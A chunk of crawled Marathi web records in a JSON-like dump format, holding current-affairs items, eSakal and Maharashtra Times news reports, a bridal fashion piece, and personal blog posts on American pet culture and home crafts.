अध्यक्षपदी नरेंद्र मोदी - महाराणी एलिझाबेथ सोडणार पद :\nलंडन- राष्ट्रकुल देशांच्या अध्यक्षांच्या बैठकीला आजपासून सुरुवात होत आहे. या बैठकीला उपस्थित राहाण्यासाठी भारताचे पंतप्रधान नरेंद्र मोदी देखील रवाना झाले आहेत. या परिषदेकडे कॉमनवेल्थ सदस्य देशांबरोबर संपूर्ण जगाचे लक्ष लागून राहिले आहे.\nइंग्लंडच्या महाराणी एलिझाबेथ या पदावरुन आता निवृत्त होण्याचा विचार करत आहेत. 92 वर्षांच्या एलिझाबेथ यांनी या पदावरुन बाजूला होण्याची इच्छा व्यक्त केली होती. आता नवे राष्ट्रकुलप्रमुख कोण असतील यावर विचार होणार आहे. एलिझाबेथ यांच्यानंतर राष्ट्रकुलच्या प्रमुखपदी भारताचे पंतप्रधान नरेंद्र मोदी येतील अशी शक्यता वर्तवली जात आहे.\nभारताचे पंतप्रधान 2009 नंतर पहिल्यांदाच या सभेला जात आहेत. यापुर्वी माल्टा येथे आयोजित केलेल्या सभेत पंतप्रधान नरेंद्र मोदी उपस्थित राहू शकले नव्हते. भारताचे इंग्लंडमधील उपउच्चायुक्त दिनेश पटनायक यांनी यांच्या मतानुसार, भारताचा विविध धोरणात्मक संस्थांमध्ये वावर वाढला आहे आणि कॉमनवेल्थही त्यापैकीच एक आहे.\nभारताला आंतरराष्ट्रीय पातळीवर नेतृत्त्वाची भूमिका हवीच आहे आणि इंग्लडलाही भारताने कॉमनवेल्थमध्ये महत्त्वाची भूमिका बजवावी असे वाटते. 16 आणि 17 एप्रिल हे दोन दिवस पंतप्रधान मोदी स्वीडन येथे असतील. स्वीडनचे पंतप्रधान स्टीफन लोफ्वेन यांची ते भेट घेतील आणि व्यापार, संरक्षणविषयक करारांवर ते स्वाक्षरी करतील. त्यानंतर इंडिया-नॉर्डिक शिखर परिषदेतही सामिल होणार आहेत. नॉर्डिक परिषदेमध्ये डेन्मार्क, फिनलंड, आईसलँड आणि नॉर्वेही सहभागी होतील.\nपंतप्रधानांचे होणार भव्य स्वागत भारताचे पंतप्रधान नरेंद्र मोदी यांचे इंग्लंडमध्ये उचित स्वागत झाल्यानंतर इंग्लंडच्या पंतप्रधान थेरेसा मे यांच्यातर्फे राष्ट्रकुल सदस्य राष्ट्रांच्या अध्यक्षासांठी भोजनाचे आयोजन करण्यात आले आहे. थेरेसा मे यांच्याशी विविध विषय़ांवर ते चर्चा करतील आणि मेक इन इंडियाअंतर्गत भारतात गुंतवणूक वाढण्यासाठी ते प्रयत्न करतील असे सांगितले जात आहे.\n१९४१: दुसरे महायुद्ध – युगोस्लाव्हियाने जर्मनीसमोर शरणागती पत्करली.\n१९४६: सिरियाने फ्रान्सकडून स्वातंत्र्य मिळवले.\n१९५०: बॅ. मुकुंदराव जयकर पुणे विद्यापीठाचे पहिले कुलगुरू झाले.\n१९५२: पहिली लोकसभा अस्तित्वात आली.\n१९७१: द पीपल्स रिपब्लिक ऑफ बांग्लादेशची स्थापना झाली.\n१९७५: ख्मेर रुजने कंबोडियाची राजधानी नॉम पेन्ह जिंकली.\n२००१: अफवांच्या अर्थशास्त्राचा सिद्धांत मांडणारे मॅसेच्युसेट्स इन्स्टिट्यूट ऑफ टेक्नाॅलॉजीमधील अर्थशास्त्रज्ञ प्रा. अभिजित बॅनर्जी यांना पहिला माल्कम – आदिशेषय्या पुरस्कार जाहीर करण्यात आला.\n१४७८: हिन्दी कवी, थोर कृष्णभक्त व कीर्तनभक्तीचे आचार्य संत सूरदास यांचा जन्म.\n१८२०: बेसबॉल चे जनक अलेक्झांडर कार्टराईट यांचा जन्म. (मृत्यू: १२ जुलै १८९२)\n१८३७: अमेरिकन सावकार जे. पी. मॉर्गन यांचा जन्म. (मृत्यू: ३१ मार्च १९१३)\n१८९१: कोशकार यशवंत रामकृष्ण दाते यांचा जन्म. (मृत्यू: २१ मार्च १९७३)\n१८९७: अद्वैत तत्त्वज्ञानी निसर्गदत्त महाराज यांचा जन्म. (मृत्यू: ८ सप्टेंबर १९८१)\n१९१६: श्रीलंकेच्या ६ व्या आणि जगातील पहिल्या महिला पंतप्रधान सिरिमाओबंदरनायके यांचा जन्म. (मृत्यू: १० ऑक्टोबर २०००)\n१९५१: चित्रपट अभिनेत्री बिंदूयांचा जन्म.\n१९६१: बिलियर्डसपटू गीतसेठी यांचा जन्म.\n१९७२: श्रीलंकेचा क्रिकेटपटू मुथय्या मुरलीधरन यांचा जन्म.\n१९७७: भारतीय क्रिकेटपटू दिनेश मोंगिया यांचा जन्म.\n१७९०: अमेरिकन संशोधक आणि मुत्सद्दी बेंजामिन फ्रँकलिन यांचे निधन. (जन्म: १७ जानेवारी१७०६)\n१८८२: फ्लश टॉयलेट चे शोधक जॉर्ज जेनिंग्स यांचे निधन. (जन्म: १० नोव्हेंबर १८१०)\n१९४६: भारत सेवक समाजाचे अध्यक्ष व्ही. एस. श्रीनिवासशास्त्री यांचे निधन. (जन्म: २२ सप्टेंबर१८६९)\n१९७५: भारताचे दुसरे राष्ट्रपती डॉ. सर्वपल्ली राधाकृष्णन यांचे निधन. (जन्म: ५ सप्टेंबर १८८८)\n१९९७: ओरिसाचे मुख्यमंत्री, केन्द्रीय पोलाद, खाणकाम आणि कोळसा मंत्री बिजू पटनायक यांचे निधन. (जन्म: ५ मार्च १९१६)\n१९९८: चित्रपट निर्माते विजय सिप्पी यांचा संशयास्पद परिस्थितीत मृत्यू.\n२००१: वनस्पतिशास्त्रज्ञ तसेच देवराई अभ्यासक डॉ. वा. द. वर्तक यांचे निधन. (जन्म: १९ ऑक्टोबर१९२५)\n२००४: कन्नड, तामिळ, तेलुगू, मल्याळम आणि हिंदी चित्रपट अभिनेत्री सौंदर्या यांचे निधन. (जन्म: १८ जुलै १९७२)\n२०११: विनोदी साहित्यिक वि.आ. बुवा यांचे निधन. (जन्म: ४ जुलै १९२६)\n२०१२: भारतीय पत्रकार आणि राजकारणी नित्यानंद महापात्रा यांचे निधन. (जन्म: १७ जुन १ ९१२)\nअधिक चालू घडामोडी :\n〉 चालू घडामोडी - १७ एप्रिल २०१७\n〉 चालू घडामोडी - १२ सप्टेंबर २०१७\n〉 चालू घडामोडी - ०५ ऑक्टोबर २०१७\n〉 चालू घडामोडी - २१ जून २०१८\n〉 चालू घडामोडी - ०९ जुलै २०१७\n〉 चालू घडामोडी - ०४ सप्टेंबर २०१७\n〉 चालू घडामोडी - १७ नोव्हेंबर २०१७\n〉 चालू घडामोडी - १८ मार्च २०१८\n〉 राज्यसेवा प्रश्नपत्रिका संच\n〉 जिल्हा निहाय जाहिराती\n〉 शैक्षणिक पात्रतेनुसार जाहिराती.\n〉 माहिती व जनसंपर्क विभाग.\n〉 महाराष्ट्र लोकसेवा आयोग.\n〉 केंद्रीय लोकसेवा आयोग.\n〉 स्टाफ सलेक्शन कमिशन.\n〉 महिला व बालविकास विभाग.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00167.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/desh/iaf-officer-assaulted-delhis-sangam-vihar-41582", "date_download": "2018-09-25T17:45:47Z", "digest": "sha1:W7HCRWAF4FUDV2HRU767M4ZRDAH2LMT2", "length": 11143, "nlines": 169, "source_domain": "www.esakal.com", "title": "IAF officer assaulted in Delhi's Sangam Vihar दिल्लीत हवाई दलाच्या अधिकाऱ्याला मारहाण | eSakal", "raw_content": "\nदिल्लीत हवाई दलाच्या अधिकाऱ्याला मारहाण\nरविवार, 23 एप्रिल 2017\nहवाई दलाच्या अधिकाऱ्याला होत असलेल्या मारहाणीचा व्हिडिओ सोशल मिडीयावर मोठ्या प्रमाणात व्हायरल झाल्यानंतर हे प्रकरण उजेडात आले.\nनवी दिल्ली - दिल्लीतील संगम विहार भागात आज (रविवार) सकाळी हवाई दलाच्या अधिकारी चालवत असलेल्या दुचाकीने मोटारीला स्पर्श केल्याने हवाई दलाच्या अधिकाऱ्यास बेदम मारहाण करण्यात आली. तसेच त्यांचा गणवेशही फाडण्यात आला.\nकाश्मीरमधील सीआरपीएफ जवानांना झालेल्या मारहाणीची घटना ताजी असतानाच आता हवाई दलाच्या अधिकाऱ्यालाही मारहाण करण्यात आली आहे. पोलिसांनी दिलेल्या माहितीनुसार, हवाई दलाचे अधिकारी सुजॉय कुमार सिकंदर हे महरौली-बदरपूर रस्त्यावरून दुचाकीवरून जात असताना यांच्या दुचाकीने स्विफ्ट कारला मागून स्पर्श केला. या कारणावरून मोटारीतील दोघांनी सुजॉय कुमार यांना गाठत भररस्त्यात बेदम मारहाण करण्यास सुरवात केली. यावेळी त्याठिकाणी अन्य एका कारमधून आलेल्या व्यक्तीनेही त्यांना मारहाण केली. त्यांचा गणवेश फाडण्यात आला आणि त्यांच्याकडून आयकार्ड हिसकावून घेण्यात आले.\nहवाई दलाच्या अधिकाऱ्याला होत असलेल्या मारहाणीचा व्हिडिओ सोशल मिडीयावर मोठ्या प्रमाणात व्हायरल झाल्यानंतर हे प्रकरण उजेडात आले. या प्रकरणी पोलिसांनी तिघांना अटक केली आहे. या तिघांनी लुटलेल्या सर्व वस्तू जप्त करण्यात आल्या आहेत.\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\n'तीन मूर्ती भवन रिकामं करा'\nनवी दिल्ली- जवाहरलाल नेहरू मेमोरियल फंड ही संस्था 1967 पासून दिल्लीतल्या तीन मूर्ती भवनमध्ये आहे. या संस्थेला तीन मूर्ती भवनातील जागा रिकामी करण्याची...\nआटपाडी - कारवाईदरम्यान पाच ते सात ब्रास वाळू ताब्यात\nआटपाडी - येथे बेकायदेशीर वाळू साठयावर तलाठ्यानी कारवाई केलयानंतर तहसीलदार सचिन लंगोटे यांनी घटनास्थळी जाऊन दुसर्‍यांदा पंचनामा केला....\nकोहलीचा 'विराट ट्रेलर' प्रदर्शित (व्हिडिओ)\nनवी दिल्ली : क्रिकेटच्या दुनियेतील बादशहा भारताचा कर्णधार विराट कोहली आता अभिनयाच्या क्षेत्रातही पदार्पण करण्याच्या तयारीत आहे की काय असा प्रश्न...\nपडलेल्या संरक्षक खांबामुळे नागरिक त्रस्त\nपुणे : कात्रज तलावाजवळ वड़खळनगर येथील अरुंद रस्त्यावरील आडवा लावलेला संरक्षक खांब दीड वर्षापूर्वी पडला आहे. सदर रस्त्याचा वापर मोठे टेम्पो, जड वाहने...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00168.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/lifestyle-news/fashion/pack-a-wedding-bag/articleshow/63280523.cms", "date_download": "2018-09-25T18:06:44Z", "digest": "sha1:G3UDBN32KIB7V4M2LIT3IEST6ALT7ZCK", "length": 13469, "nlines": 148, "source_domain": "maharashtratimes.indiatimes.com", "title": "pack a wedding bag: pack a wedding bag - लग्नाची बॅग भरताय? | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nजसजसा लग्नाचा दिवस येतो तशी गडबड आणखीच वाढत जाते. हे घेतलं का ते घेतलं का, अशी आईची आरोळी ऐकणाऱ्या नवरीला थोड्या-थोड्या वेळानं ऐकावी लागते. मोठ्या गोष्टी सगळ्यांच्याच लक्षात राहतात; पण काही वेळा या गडबडीत महत्त्वाच्या गोष्टींकडे लक्ष दिलं जात नाही. नवरीचे कपडे ही तितकीच महत्त्वाची बाब आपण कित्येक वेळा विसरून जातो. या काही गोष्टी बॅग भरताना अजिबात विसरू नका.\nलहानपणापासून आपण आईच्या कपाटात बनारसी साडी बघत आलेलो असतो. आता तुम्ही स्वतःच लग्न करताय म्हणल्यावर नक्कीच तुमच्याकडे बनारसी साडी हवी. बनारसी साडीमध्ये तुम्हाला पारंपरिक; पण तितकाच सुंदर लूक देईल, अशी चमक असते. तुम्हाला आवडत असेल, तर बनारसी साडी ही फॅशनेबल गोल्डन ब्लाउजसोबत नेसली जाऊ शकते.\nआपण वेगवेगळ्या प्रकारचे घागरे घेत असतो; पण अनेक वर्षांपासून लग्नात चमकणारे घागरे घालण्याची परंपरा चालत आलेली आहे. या घागऱ्यावर तुम्ही लांब बाह्यांचा ब्लाउज शिवून घेऊ शकता किंवा अनारकली पद्धतीचा अखंड घागरा विकत घेऊ शकता. नवीनच आलेल्या फॅशननुसार स्ट्रेट फिट कुडत्यासोबत घागरा घालू शकता.\nजोपर्यंत तुम्ही चमकणारी, भरपूर टिकल्या असलेली, डिझाइनची चप्पल घालत नाही, तोवर तुम्ही नवी नवरी आहेत हे कुणाला कळणार कसं त्यामुळे इतरांपेक्षा वेगळं दिसण्यासाठी आणि आपल्या सौंदर्याला बहार आणण्यासाठी जराशी चमकणारी सोनेरी चप्पल विकत घ्या. फक्त उंच टाचांची चप्पल घेणार असाल, तर तुम्हाला साडी, घागरा हे सगळं घालून चालता येणार आहे का, हा विचार करून मगच चप्पल घ्या.\nमोजडी किंवा कोल्हापुरी चप्पल\nउंच टाचांच्या चपला या दिसायला छानच दिसतात; परंतु त्या आपल्या पायांना आराम देतीलच असं नाही. त्यामुळे मोजडी किंवा कोल्हापुरी चप्पल यांची निवड करा जेणेकरून पारंपरिक दिसण्यासोबत तुमच्या पायांना आरामही मिळेल.\nमेहंदी किंवा संगीतसारख्या कार्यक्रमांना कोल्हापुरी चप्पल तुम्ही घालू शकता तर लग्न, रिसेप्शन यांसारख्या गोष्टींना रंगीबेरंगी, चमकणारी, घुंगरू आणि एम्ब्रॉयडरी असणाऱ्या मोजडीची निवड करा.\nआपण लग्नात नक्कीच मोठी हँडबॅग किंवा पर्स सोबत बाळगू शकत नाही. यासाठी एक छोटीशी पर्स तुमच्यासोबत बाळगा. एम्ब्रॉयडरी केलेली, सुंदरसं विणकाम केलेली अशी एक छोटीशी पर्स सोबत ठेवलीत, तर फोन आणि मेकअपचं समान ठेवण्यासाठी तुम्हाला दुसऱ्यांवर अवलंबून राहावं लागणार नाही.\nलग्नाच्या सगळ्या दगदगीतून आराम मिळवायचा असेल, तर आरामदायक नाइट ड्रेस सोबत ठेवायला विसरू नका. यासाठी मऊ कापडाचे पायजमे, टी-शर्ट, बाथरोब्ज किंवा अगदी सुटसुटीत अशी सलवार आणि कॉटनचे कुडते सोबत घ्या. यानं नक्कीच आराम मिळेल.\nमिळवा फॅशन बातम्या(fashion News in Marathi) से मराठी बातम्या( Marathi News) तुमच्या मोबाइलवर मिळवण्यासाठी डाउनलोड करा Marathi News App ...आणि प्रत्येक बातमीबाबत राहा अपडेट\nfashion News याच्याशी संबंधित ताजे अपडेट्स मिळवण्यासाठी मटा ऑनलाइनचे फेसबुक पेज लाइक करा\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nराजस्थानच्या मुख्यमंत्र्यांच्या सुरक्षा रक्षकाने चोरले पैसे\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलिसांची तरुणीला मारहाण\nपती दिसायला सावळा, पत्नीने किस करताना चावली जीभ\nमेणबत्तीच्या प्रकाशात रुग्णांना तपासण्याची सक्ती\nआयुषी भावे मुंबईची 'श्रावणक्वीन'\nआयुषी भावे 'महाराष्ट्राची श्रावणक्वीन'\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n3'झारा'च्या लुंगी स्कर्टची किंमत ऐकली का\n6दाढी ‘न’ करण्याचा महिना...\n8सणाला द्या रेशमी झळाळी...\n9​ पॉम-पॉमला फ्युजनची जोड...\n10श्रावणक्वीनची स्पर्धक श्रियानं जिंकला ‘मिस टीन युनिव्हर्स इंडिया...", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00168.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/04/blog-post.html", "date_download": "2018-09-25T17:48:50Z", "digest": "sha1:CMAMQEUU7ZTARHDN3JNEJ36WGE36LFMT", "length": 10212, "nlines": 69, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: अमेरिकेचे प्राणिप्रेम", "raw_content": "\nएक महिन्यापूर्वी कनेटिकट नावाच्या एका राज्यात एक विचित्र घटना घडली. एका स्त्रीने एका चिंपाझी माकड पाळले होते. त्या माकडाने त्याच्या मालकीणीच्या एका मैत्रीणीवर हल्ला केला. तिचे नाक, चेहेरा ओरबाडला, चावला .. इत्यादि. संपूर्ण वर्णन खूप भीषण आहे. आणि त्याची इथे जरुरी नाही. इतकेच पूरे आहे की ती स्त्री आज एक महिन्यानंतरही हॉस्पिटलच्या अतिदक्षता विभागात आहे आणि अजूनही ती पूर्णपणे शुद्धीवर नाही.\nअमेरिकेत या अश्या काही गोष्टी आहेत की कपाळाला हात लावायची पाळी येते. त्या माकडाला त्याच्या मालकीणीने असे पाळले होते की तो जणु काही तिचा मुलगाच होता. त्याला कपडे घालायची. आणि तो तिच्या घरात तिचा मुलगा म्हणुन राह्यचा (अशी तिची समजुत). शेवटी त्याच्यातले श्वापद जागृत झाले आणि जे घडु नये ते घडले.\n९११ कॉल नंतर अर्थात पोलिस आले आणि त्या माकडाला अखेरीस गोळ्या घालुन ठार केले.\nअमेरिकेचे हे श्वापद-प्रेम/वेड इतर सर्व गोष्टींप्रमाणे अतिरेकी आहे. अमेरिकेत खाजगी पाळलेल्या वाघांचीच संख्या कित्येक हजारात आहे. वाघ, अजगर, चिंपाझी का पाळावेसे वाटतात कळत नाही. काही वर्षांपूर्वी रॉय नावाच्या एका जगप्रसिध्द प्राणिप्रेमी माणसाला त्याच्याच वाघाने हल्ला करुन असे काही जायबंदी केले की रॉय कायमचा अधु झाला आहे. हे सर्व हजारो प्रेक्षकांसमोर घडले लास व्हेगास मध्ये जिथे रॉयचा जगप्रसिद्ध खेळ मिराज नावाच्या कॅसिनोमध्ये होत असे. तरी त्या वाघाचा फक्त गैरसमजच झाल होता; त्याला रॉयला फक्त तोंडात पकडुन दूर न्यायचे होते. खरोखरच जर त्या वाघाला रॉयला मारायचे असते तर त्याला २-४ सेकंद पूरले असते कदाचीत.\nइथे कुत्रे मांजराचे लाड तर खूपच असतात. त्यांना स्वेटर काय घालतील, गॉगल काय घालतील. सर्वच काही अजब वाटायचे आम्हाला सुरुवातीला. परंतु नंतर कळु लागले की अश्या रितीने प्राण्यांवर प्रेम करून इथले लोक त्यांच्या आयुष्यातील माणसांची उणीव भरुन काढतात. स्पर्धा, व्यक्तिस्वातंत्र्य, वस्तुवाद, आणि व्यक्तिवाद यांचा अतिरेक असल्यामुळे बर्याचदा नात्यांमध्ये कृत्रीमपणा असतो. घटस्फोटांचे प्रमाण भरपूर आहे. लग्न न करण्याचेही प्रमाण बर्यापैकी आहे. सामाजिक आणि आर्थिक जडणघडणच अशी आहे की एकाकीपणच वाढावे. भले मोठे रस्ते, घरे, गाड्या. प्रत्येकाला स्वत:ची स्पेस हवी १ महिन्याच्या मुलाला देखिल आपली खोली असते त्यात झोपवतात. ज्याला त्याला स्वत:चीच कार. एकाच घरात अनेक टीव्ही जेणेकरुन ज्याला जे हवे ते त्याने बघावे. माणुस हा समाजप्रिय प्राणी आहे ही व्याख्या चुक आहे की काय अशी शंका यावी अशी परिस्थिती.\nचिंपांझीला असे पाळणे जणु काही ते तुमचे मुल आहे, हे एकाकीपणातुन आलेल्या मानसिक रोगाचे लक्षण आहे हे मान्य होणार नाही अमेरिकन जनतेला.\nसत्तेपुढे आणि पैश्यापुढे शहाणपण चालत नाही. त्यामुळे काही काळ तरी अमेरिकन लोकांना स्वत:च्या या उणीवा आणि त्यावरचे साधे उपाय समजणे कठिण आहे. भारतातील जीवन त्यामानाने संतुलित वाटते. भौतिकदृष्ट्या प्रगत नाही परंतु तरीही मने प्रसन्न आहेत. इथली गुन्हेगारी जशी कल्पनेपलिकडची असते तशी भारतात अजुनतरी दिसत नाही. कारण त्यामानाने आपण अजूनतरी इतके वस्तुवादी झालो नाही आहोत.\nमला वाटते की भारताने भरपूर प्रगती करावी. परंतु अमेरिकेत सर्वच काही चांगले आहे असे नाही. सगळीकडेच अमेरिकेचा आदर्श घेण्याची गरज नाही. अमेरिकन लोकांची कल्पकता, धाडस, कष्टाळुवृत्ती, उदारपणा वाखाणण्यासारखे आहेत. परंतु कधी कधी काही गोष्टींचा अतिरेक केला जातो ते सांभाळले म्हणजे झाले.\nकाल म्हणालो तेच इथे पण लागू आहे. आपले नेमके प्रश्न काय आहेत ते सोडवताना आपल्या पद्धतीने सोडवले पाहिजेत. पाश्चात्यांच्या स्वैराचाराला अर्थ नाही. पैसा आणि सत्ता आहे म्हणुन विवेकाला सोडचिठ्ठी देण्याची गरज नाही. वस्तुंच्यामागे धावता धावता एकमेकांचा हात सोडण्याची गरज नाही.\nक्लीन बोल्ड, चारी मुंडया चीत, मार डाला\nसलोनीची गुगली आणि आमची धावपळ\nएक मित्र .. इरफान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00169.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://poojamundale.blogspot.com/2017/09/blog-post.html", "date_download": "2018-09-25T16:34:24Z", "digest": "sha1:XJAXP3RJ6IRYHPK5KNRVFNJQPFTI27F5", "length": 1934, "nlines": 46, "source_domain": "poojamundale.blogspot.com", "title": "कलादालनात तयार झालेले सुंदर दिवे ......", "raw_content": "\nकलादालनात तयार झालेले सुंदर दिवे ......\nश्री गणेशाय नमः \"जे शक्य साध्य आहे , निर्धार दे कराया जे टाळणे अशक्य दे , शक्ती दे सहाया मज काय शक्य आहे , आहे अशक्य काय माझे मला काळाया , दे बुद्धी देवराय\"\nनमस्कार मित्रहो कलादालनात आपल हार्दिक स्वागत…\nकलादालनाला भरभरून प्रतीसाथ देणाऱ्या सर्वाचे खूप खूप आभार…. धन्यवाद … \nकलादालनात एकाचवेळी तयार होणाऱ्या फुलदाण्या फक्त तुमच्यासाठी……………\nकलादालन तयार होत आहेत सुंदर रांगोळी\nकलादालनात तयार झालेले सुंदर दिवे ......\nकलादालन तयार होत आहेत सुंदर रांगोळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00169.warc.wet.gz", "language": "mr", "language_score": 0.86, "bucket": "all"} {"url": "http://www.esakal.com/paschim-maharashtra/karnatak-electricity-board-permitted-give-lights-solapur-mnc-128648", "date_download": "2018-09-25T17:57:28Z", "digest": "sha1:FLMIQJMVBIIAZB2JKZAS5MKKMISOKLIM", "length": 14269, "nlines": 180, "source_domain": "www.esakal.com", "title": "karnatak electricity board permitted to give lights to solapur mnc सोलापूर स्मार्ट सिटीत कर्नाटकचा झगमगाट! | eSakal", "raw_content": "\nसोलापूर स्मार्ट सिटीत कर्नाटकचा झगमगाट\nशुक्रवार, 6 जुलै 2018\nसोलापूर : महाराष्ट्रातील गिरणगाव म्हणून ओळखल्या जाणाऱ्या स्मार्ट सिटी सोलापूरला एलईडी दिव्यांच्या झगमगाटाने उजळविण्यासाठी कर्नाटकच्या वीज महामंडळाची निविदा प्रशासकीय स्तरावर मंजूर झाली आहे. ती अंतिम मंजुरीसाठी सर्वसाधारण सभेकडे पाठविण्यात येणार आहे, अशी माहिती स्मार्ट सिटीचे मुख्य कार्यकारी अधिकारी तथा आयुक्त डॉ. अविनाश ढाकणे यांनी \"सकाळ'ला दिली. या कामासाठी कर्नाटकची कंपनी इच्छुक असल्याचे वृत्त 21 मे रोजी \"सकाळ'ने प्रसिद्ध केले होते.\nसोलापूर : महाराष्ट्रातील गिरणगाव म्हणून ओळखल्या जाणाऱ्या स्मार्ट सिटी सोलापूरला एलईडी दिव्यांच्या झगमगाटाने उजळविण्यासाठी कर्नाटकच्या वीज महामंडळाची निविदा प्रशासकीय स्तरावर मंजूर झाली आहे. ती अंतिम मंजुरीसाठी सर्वसाधारण सभेकडे पाठविण्यात येणार आहे, अशी माहिती स्मार्ट सिटीचे मुख्य कार्यकारी अधिकारी तथा आयुक्त डॉ. अविनाश ढाकणे यांनी \"सकाळ'ला दिली. या कामासाठी कर्नाटकची कंपनी इच्छुक असल्याचे वृत्त 21 मे रोजी \"सकाळ'ने प्रसिद्ध केले होते.\nया कंपनीसह राज्यातील तीन कंपन्यांनी निविदा दाखल केली होती. त्यापैकी कर्नाटक महामंडळाची निविदा मंजूर करण्यात आली आहे. स्मार्ट सिटी योजनेंतर्गत केवळ एबीडी एरिया नव्हे तर हद्दवाढीसह संपूर्ण शहर एलईडी दिव्यांनी उजळणार आहे. तब्बल 45 हजार दिव्यांचा आराखडा त्यासाठी तयार करण्यात आला आहे. सध्या असलेल्या हायमास्ट दिव्यांसाठी विजेचा मोठा खर्च होतो. देखभालीवर होणाऱ्या खर्चाचे प्रमाणही मोठे आहे. सध्या पथदिव्यांच्या वीज बिलापोटी प्रत्येक महिन्याला एक ते दीड कोटी रुपये खर्च होतात. तर देखभालीसाठी वर्षाला फक्त साहित्यावर एक कोटी रुपये खर्च होतात. एलईडी लावल्यानंतर या खर्चात तब्बल 50 टक्‍क्‍यांनी कपात होणार आहे.\nकाही वर्षांपूर्वी पत्रा तालीम, कसबा परिसरात एलईडी लावण्याचा प्रयोग झाला होता. महापालिकेच्या प्राणिसंग्रहालयातील एका विभागातही एलईडी दिवे बसविण्यात आले आहेत. काही स्मशानभूमीतही ही सुविधा आहे. मात्र, संपूर्ण शहर एलईडीमय झाल्यानंतर शहरातील रस्त्यांवरून फिरताना आपण खऱ्या अर्थाने स्मार्ट सिटीत फिरत असल्याचा अनुभव नागरिकांना येणार आहे. या कामासाठी यापूर्वी तीनदा निविदा काढण्यात आल्या होत्या. आता काढण्यात आलेल्या निविदेनंतर चार कंपन्यांनी निविदा दाखल केल्या होत्या.\nएलईडीसाठी नियुक्त कंपनीला काम दिल्यामुळे वीज बिलात बचत होणार आहेच, शिवाय इतर स्त्रोतांतून सुमारे सहा कोटी रुपयांची बचत होणार आहे. तसेच वेळेत काम न केल्यास संबंधित कंपनीला दंड केला जाणार आहे.\n- डॉ. अविनाश ढाकणे, आयुक्त\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर 